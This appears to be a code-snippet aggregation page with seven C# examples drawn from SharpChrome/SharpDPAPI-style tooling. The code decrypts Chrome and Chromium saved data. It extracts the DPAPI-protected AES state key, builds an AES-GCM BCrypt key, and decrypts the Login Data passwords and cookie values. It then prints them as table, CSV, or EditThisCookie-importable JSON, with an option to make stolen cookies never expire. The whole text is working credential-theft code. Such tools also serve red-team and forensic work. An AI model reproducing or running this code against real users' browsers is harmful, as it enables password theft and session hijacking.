Esempio n. 1
0
        public ChromiumCredentialManager(string basePath, string[] domains = null)
        {
            if (Environment.GetEnvironmentVariable("USERNAME").Contains("SYSTEM"))
            {
                throw new Exception("Cannot decrypt Chromium credentials from a SYSTEM level context.");
            }
            if (domains != null && domains.Length > 0)
            {
                filterDomains = domains;
            }
            string localAppData = Environment.GetEnvironmentVariable("LOCALAPPDATA");

            hKey                      = null;
            hAlg                      = null;
            chromiumBasePath          = basePath;
            userChromiumHistoryPath   = chromiumBasePath + "\\Default\\History";
            userChromiumBookmarksPath = chromiumBasePath + "\\Default\\Bookmarks";
            userChromiumCookiesPath   = chromiumBasePath + "\\Default\\Cookies";
            userChromiumLoginDataPath = chromiumBasePath + "\\Default\\Login Data";
            userLocalStatePath        = chromiumBasePath + "Local State";
            if (!Chromium())
            {
                throw new Exception("User chromium data files not present.");
            }
            useTmpFile = true;
            //Process[] chromeProcesses = Process.GetProcessesByName("chrome");
            //if (chromeProcesses.Length > 0)
            //{
            //    useTmpFile = true;
            //}
            string key = GetBase64EncryptedKey();

            if (key != "")
            {
                //Console.WriteLine("Normal DPAPI Decryption");
                aesKey = DecryptBase64StateKey(key);
                if (aesKey == null)
                {
                    throw new Exception("Failed to decrypt AES Key.");
                }
                DPAPIChromiumAlgFromKeyRaw(aesKey, out hAlg, out hKey);
                if (hAlg == null || hKey == null)
                {
                    throw new Exception("Failed to create BCrypt Symmetric Key.");
                }
            }
        }
Esempio n. 2
0
        public ChromeCredentialManager(string[] domains = null)
        {
            if (Environment.GetEnvironmentVariable("USERNAME").Contains("SYSTEM"))
            {
                throw new Exception("Cannot decrypt Chrome credentials from a SYSTEM level context.");
            }
            if (domains != null && domains.Length > 0)
            {
                filterDomains = domains;
            }
            string localAppData = Environment.GetEnvironmentVariable("LOCALAPPDATA");

            hKey                    = null;
            hAlg                    = null;
            googleChromePath        = Path.Combine(localAppData, "Google\\Chrome\\User Data\\Default\\");
            userChromeHistoryPath   = Path.Combine(googleChromePath, "History");
            userChromeBookmarkPath  = Path.Combine(googleChromePath, "Bookmarks");
            userChromeCookiesPath   = Path.Combine(googleChromePath, "Cookies");
            userChromeLoginDataPath = Path.Combine(googleChromePath, "Login Data");
            userLocalStatePath      = Path.Combine(googleChromePath, "Local State");
            if (!ChromeDataExists())
            {
                throw new Exception("User chrome data files not present.");
            }
            Process[] chromeProcesses = Process.GetProcessesByName("chrome");
            if (chromeProcesses.Length > 0)
            {
                useTmpFile = true;
            }
            string key = GetBase64EncryptedKey();

            if (key != "")
            {
                //Console.WriteLine("Normal DPAPI Decryption");
                aesKey = DecryptBase64StateKey(key);
                if (aesKey == null)
                {
                    throw new Exception("Failed to decrypt AES Key.");
                }
                DPAPIChromeAlgKeyFromRaw(aesKey, out hAlg, out hKey);
                if (hAlg == null || hKey == null)
                {
                    throw new Exception("Failed to create BCrypt Symmetric Key.");
                }
            }
        }
Esempio n. 3
0
        //kuhl_m_dpapi_chrome_alg_key_from_raw
        public static bool DPAPIChromeAlgKeyFromRaw(byte[] key, out PInvoke.BCrypt.SafeAlgorithmHandle hAlg, out PInvoke.BCrypt.SafeKeyHandle hKey)
        {
            bool bRet = false;

            hAlg = null;
            hKey = null;
            PInvoke.NTSTATUS ntStatus;
            ntStatus = PInvoke.BCrypt.BCryptOpenAlgorithmProvider(out hAlg, PInvoke.BCrypt.AlgorithmIdentifiers.BCRYPT_AES_ALGORITHM, null, 0);
            if (NT_SUCCESS(ntStatus))
            {
                ntStatus = PInvoke.BCrypt.BCryptSetProperty(hAlg, "ChainingMode", PInvoke.BCrypt.ChainingModes.Gcm, 0);
                if (NT_SUCCESS(ntStatus))
                {
                    ntStatus = PInvoke.BCrypt.BCryptGenerateSymmetricKey(hAlg, out hKey, null, 0, key, key.Length, 0);
                    if (NT_SUCCESS(ntStatus))
                    {
                        bRet = true;
                    }
                }
            }
            return(bRet);
        }
Esempio n. 4
0
        //kuhl_m_dpapi_chrome_alg_key_from_raw
        public static bool DPAPIChromiumAlgFromKeyRaw(byte[] key, out BCrypt.SafeAlgorithmHandle hAlg, out BCrypt.SafeKeyHandle hKey)
        {
            bool bRet = false;

            hAlg = null;
            hKey = null;
            uint ntStatus;

            ntStatus = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0);
            if (NT_SUCCESS(ntStatus))
            {
                ntStatus = BCrypt.BCryptSetProperty(hAlg, "ChainingMode", "ChainingModeGCM", 0);
                if (NT_SUCCESS(ntStatus))
                {
                    ntStatus = BCrypt.BCryptGenerateSymmetricKey(hAlg, out hKey, null, 0, key, key.Length, 0);
                    if (NT_SUCCESS(ntStatus))
                    {
                        bRet = true;
                    }
                }
            }
            return(bRet);
        }
Esempio n. 5
0
        // adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L136-L197
        // god bless you Dwight for figuring this out lol
        public static byte[] DecryptAESChromeBlob(byte[] dwData, BCrypt.SafeAlgorithmHandle hAlg, BCrypt.SafeKeyHandle hKey)
        {
            // magic decryption happens here

            byte[] dwDataOut = null;
            BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
            int    dwDataOutLen;
            IntPtr pData = IntPtr.Zero;
            uint   ntStatus;

            byte[] subArrayNoV10;
            int    pcbResult = 0;

            unsafe
            {
                if (SharpDPAPI.Helpers.ByteArrayEquals(dwData, 0, DPAPI_CHROME_UNKV10, 0, 3))
                {
                    subArrayNoV10 = new byte[dwData.Length - DPAPI_CHROME_UNKV10.Length];
                    Array.Copy(dwData, 3, subArrayNoV10, 0, dwData.Length - DPAPI_CHROME_UNKV10.Length);
                    pData = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(byte)) * dwData.Length);

                    try
                    {
                        Marshal.Copy(dwData, 0, pData, dwData.Length);
                        BCrypt.BCRYPT_INIT_AUTH_MODE_INFO(out info);
                        info.pbNonce = (byte *)(new IntPtr(pData.ToInt64() + DPAPI_CHROME_UNKV10.Length));
                        info.cbNonce = 12;
                        info.pbTag   = info.pbNonce + dwData.Length - (DPAPI_CHROME_UNKV10.Length + AES_BLOCK_SIZE); // AES_BLOCK_SIZE = 16
                        info.cbTag   = AES_BLOCK_SIZE;                                                               // AES_BLOCK_SIZE = 16
                        dwDataOutLen = dwData.Length - DPAPI_CHROME_UNKV10.Length - info.cbNonce - info.cbTag;
                        dwDataOut    = new byte[dwDataOutLen];

                        fixed(byte *pDataOut = dwDataOut)
                        {
                            ntStatus = BCrypt.BCryptDecrypt(hKey, info.pbNonce + info.cbNonce, dwDataOutLen, (void *)&info, null, 0, pDataOut, dwDataOutLen, out pcbResult, 0);
                        }

                        if (ntStatus != 0)
                        {
                            Console.WriteLine("[X] Error : {0}", ntStatus);
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Exception : {0}", ex.Message);
                    }
                    finally
                    {
                        if (pData != null && pData != IntPtr.Zero)
                        {
                            Marshal.FreeHGlobal(pData);
                        }
                    }
                }
                else
                {
                    Console.WriteLine("[X] Data header not equal to DPAPI_CHROME_UNKV10");
                }
            }
            return(dwDataOut);
        }
Esempio n. 6
0
        public static void ParseChromeCookies(Dictionary <string, string> MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null)
        {
            // takes an individual Cookies file path and performs decryption/triage on it

            if (!File.Exists(cookieFilePath))
            {
                return;
            }

            BCrypt.SafeAlgorithmHandle hAlg = null;
            BCrypt.SafeKeyHandle       hKey = null;

            if (aesStateKey != null)
            {
                // initialize the BCrypt key using the new DPAPI decryption method
                DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey);
            }

            // convert to a file:/// uri path type so we can do lockless opening
            //  ref - https://github.com/gentilkiwi/mimikatz/pull/199
            var    uri = new System.Uri(cookieFilePath);
            string cookieFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri);

            bool             someResults = false;
            SQLiteConnection database    = null;

            if (!displayFormat.Equals("table") && !displayFormat.Equals("csv") && !displayFormat.Equals("json"))
            {
                Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat);
                return;
            }

            try
            {
                database = new SQLiteConnection(cookieFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false);
            }
            catch (Exception e)
            {
                Console.WriteLine("[X] {0}", e.InnerException.Message);
                return;
            }

            // old - fails in some cases due to partial indexing :(
            //string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies";

            // new, seems to work with partial indexing?? "/giphy table flip"
            string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies";
            List <SQLiteQueryRow> results = database.Query2(query, false);
            int id = 1;

            // used if cookies "never expire" for json output
            DateTime epoch          = new DateTime(1601, 1, 1);
            TimeSpan timespan       = (DateTime.Now).AddYears(100) - epoch;
            long     longExpiration = (long)Math.Abs(timespan.TotalSeconds * 1000000);

            foreach (SQLiteQueryRow row in results)
            {
                try
                {
                    byte[] decBytes = null;

                    // decrypt the encrypted cookie value with whatever data/method is specified
                    byte[] valueBytes = (byte[])row.column[6].Value;

                    if (HasV10Header(valueBytes))
                    {
                        if (aesStateKey != null)
                        {
                            // using the new DPAPI decryption method
                            decBytes = DecryptAESChromeBlob(valueBytes, hAlg, hKey);

                            if (decBytes == null)
                            {
                                continue;
                            }
                        }
                        else
                        {
                            decBytes = Encoding.ASCII.GetBytes(String.Format("AES State Key Needed"));
                        }
                    }
                    else
                    {
                        // using the old method
                        decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(valueBytes, MasterKeys, "chrome", unprotect);
                    }

                    string value = Encoding.ASCII.GetString(decBytes);

                    DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[0].Value.ToString());
                    DateTime expires     = SharpDPAPI.Helpers.ConvertToDateTime(row.column[4].Value.ToString());
                    DateTime lastAccess  = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString());

                    // check conditions that will determine whether we're displaying this cookie entry
                    bool displayValue = false;

                    if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString()))
                    {
                        displayValue = true;
                    }
                    else if (!String.IsNullOrEmpty(cookieRegex))
                    {
                        Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase);
                        if (match.Success)
                        {
                            displayValue = true;
                        }
                    }
                    else if (!String.IsNullOrEmpty(urlRegex))
                    {
                        Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase);
                        if (match.Success)
                        {
                            displayValue = true;
                        }
                    }
                    else if (expires > DateTime.UtcNow)
                    {
                        displayValue = true;
                    }

                    if (displayValue)
                    {
                        if (displayFormat.Equals("table"))
                        {
                            if (!someResults)
                            {
                                Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
                            }
                            someResults = true;

                            Console.WriteLine("Host (path)                : {0} ({1})", row.column[1].Value, row.column[3].Value);
                            Console.WriteLine("Cookie Name                : {0}", row.column[2].Value);
                            Console.WriteLine("Cookie Value               : {0}", value);
                            Console.WriteLine("Created/Expires/LastAccess : {0} / {1} / {2}\r\n", dateCreated, expires, lastAccess);
                        }
                        else if (displayFormat.Equals("json"))
                        {
                            if (!someResults)
                            {
                                Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
                                Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath);
                            }
                            else
                            {
                                Console.WriteLine("},\r\n{\r\n");
                            }
                            someResults = true;

                            Console.WriteLine("    \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value)));
                            if (setneverexpire)
                            {
                                Console.WriteLine("    \"expirationDate\": {0},", longExpiration);
                            }
                            else
                            {
                                Console.WriteLine("    \"expirationDate\": {0},", row.column[4].Value.ToString());
                            }
                            Console.WriteLine("    \"hostOnly\": false,");
                            Console.WriteLine("    \"httpOnly\": false,");
                            Console.WriteLine("    \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value)));
                            Console.WriteLine("    \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value));
                            Console.WriteLine("    \"sameSite\": \"no_restriction\",");
                            Console.WriteLine("    \"secure\": false,");
                            Console.WriteLine("    \"session\": false,");
                            Console.WriteLine("    \"storeId\": \"0\",");
                            Console.WriteLine("    \"value\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(value));
                            Console.WriteLine("    \"id\": \"{0}\"", id);
                            id++;
                        }
                        else
                        {
                            // csv output
                            if (!someResults)
                            {
                                Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
                                Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc");
                            }
                            someResults = true;

                            Console.WriteLine("{0},{1},{2},{3},{4},{5},{6},{7}",
                                              SharpDPAPI.Helpers.StringToCSVCell(cookieFilePath),
                                              SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)),
                                              SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[3].Value)),
                                              SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)),
                                              SharpDPAPI.Helpers.StringToCSVCell(value),
                                              SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()),
                                              SharpDPAPI.Helpers.StringToCSVCell(expires.ToString()),
                                              SharpDPAPI.Helpers.StringToCSVCell(lastAccess.ToString()));
                        }
                    }
                }
                catch {}
            }

            if (displayFormat.Equals("json") && someResults)
            {
                Console.WriteLine("}\r\n]\r\n");
            }

            database.Close();
        }
Esempio n. 7
0
        public static void ParseChromeLogins(Dictionary <string, string> MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null)
        {
            // takes an individual 'Login Data' file path and performs decryption/triage on it
            if (!File.Exists(loginDataFilePath))
            {
                return;
            }

            BCrypt.SafeAlgorithmHandle hAlg = null;
            BCrypt.SafeKeyHandle       hKey = null;

            if (aesStateKey != null)
            {
                // initialize the BCrypt key using the new DPAPI decryption method
                DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey);
            }

            // convert to a file:/// uri path type so we can do lockless opening
            //  ref - https://github.com/gentilkiwi/mimikatz/pull/199
            var    uri = new System.Uri(loginDataFilePath);
            string loginDataFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri);

            bool             someResults = false;
            SQLiteConnection database    = null;

            try
            {
                database = new SQLiteConnection(loginDataFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false);
            }
            catch (Exception e)
            {
                Console.WriteLine("[X] {0}", e.InnerException.Message);
                return;
            }

            if (!displayFormat.Equals("table") && !displayFormat.Equals("csv"))
            {
                Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat);
                return;
            }

            string query = "SELECT signon_realm, origin_url, username_value, password_value, times_used, cast(date_created as text) as date_created FROM logins";
            List <SQLiteQueryRow> results = database.Query2(query, false);

            foreach (SQLiteQueryRow row in results)
            {
                byte[] passwordBytes = (byte[])row.column[3].Value;
                byte[] decBytes      = null;

                // decrypt the password bytes using masterkeys or CryptUnprotectData()

                if (HasV10Header(passwordBytes))
                {
                    if (aesStateKey != null)
                    {
                        // using the new DPAPI decryption method
                        decBytes = DecryptAESChromeBlob(passwordBytes, hAlg, hKey);

                        if (decBytes == null)
                        {
                            continue;
                        }
                    }
                    else
                    {
                        decBytes = Encoding.ASCII.GetBytes(String.Format("--AES STATE KEY NEEDED--"));
                    }
                }
                else
                {
                    // using the old method
                    decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(passwordBytes, MasterKeys, "chrome", unprotect);
                }

                string password = Encoding.ASCII.GetString(decBytes);

                DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString());

                if ((password != String.Empty) || showAll)
                {
                    if (displayFormat.Equals("table"))
                    {
                        if (!someResults)
                        {
                            Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
                        }
                        someResults = true;
                        Console.WriteLine("URL       : {0} ({1})", row.column[0].Value, row.column[1].Value);
                        Console.WriteLine("Created   : {0}", dateCreated);
                        Console.WriteLine("TimesUsed : {0}", row.column[4].Value);
                        Console.WriteLine("Username  : {0}", row.column[2].Value);
                        Console.WriteLine("Password  : {0}", password);
                        Console.WriteLine();
                    }
                    else
                    {
                        if (!someResults)
                        {
                            Console.WriteLine("\r\n---  Credential (Path: {0}) ---\r\n", loginDataFilePath);
                            Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password");
                        }
                        someResults = true;

                        Console.WriteLine("{0},{1},{2},{3},{4},{5},{6}",
                                          SharpDPAPI.Helpers.StringToCSVCell(loginDataFilePath),
                                          SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[0].Value)),
                                          SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)),
                                          SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()),
                                          SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[5].Value)),
                                          SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)),
                                          SharpDPAPI.Helpers.StringToCSVCell(password));
                    }
                }
            }
            database.Close();
        }